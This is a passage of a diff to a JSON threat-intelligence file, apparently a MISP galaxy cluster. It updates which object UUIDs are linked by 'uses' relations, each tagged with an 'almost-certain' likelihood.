"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", @@ -12917,14 +16174,14 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12938,7 +16195,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12973,7 +16230,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13016,63 +16273,56 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13086,21 +16336,21 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13142,14 +16392,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13177,14 +16420,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "91541e7e-b969-40c6-bbd8-1b5352ec2938", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13217,6 +16460,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc", @@ -13236,14 +16507,14 @@ }, "related": [ { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13257,28 +16528,21 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13302,7 +16566,7 @@ }, "related": [ { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13314,6 +16578,48 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f", @@ -13337,28 +16643,28 @@ }, "related": [ { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "68c96494-1a50-403e-8844-69a6af278c68", + "dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13386,14 +16692,14 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13407,21 +16713,21 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13435,7 +16741,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13449,7 +16755,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13463,7 +16769,14 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13560,14 +16873,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13588,14 +16894,14 @@ "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13609,7 +16915,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13623,7 +16929,7 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13644,7 +16950,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13686,7 +16992,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13699,13 +17005,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -13714,7 +17013,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13728,21 +17027,21 @@ "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13756,28 +17055,28 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13805,7 +17104,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13847,7 +17146,7 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13875,7 +17174,7 @@ "type": "uses" }, { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13903,7 +17202,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13931,7 +17230,7 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13945,7 +17244,84 @@ "type": "uses" }, { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf147104-abf9-4221-95d1-e81585859441", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14067,7 +17443,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14095,7 +17471,7 @@ "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14116,7 +17492,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14144,14 +17520,14 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14165,7 +17541,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14186,21 +17562,21 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14214,28 +17590,28 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14256,7 +17632,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14270,7 +17646,7 @@ "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14284,14 +17660,14 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14317,6 +17693,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "7113eaa5-ba79-4fb3-b68a-398ee9cd698e", @@ -14336,7 +17733,7 @@ }, "related": [ { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14357,7 +17754,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14371,14 +17768,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14391,13 +17788,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f", "tags": [ @@ -14406,14 +17796,21 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14440,21 +17837,21 @@ }, "related": [ { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14475,21 +17872,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14503,7 +17900,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14524,7 +17921,21 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14560,7 +17971,7 @@ "type": "similar" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14602,7 +18013,7 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14623,7 +18034,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14637,7 +18048,7 @@ "type": "uses" }, { - "dest-uuid": 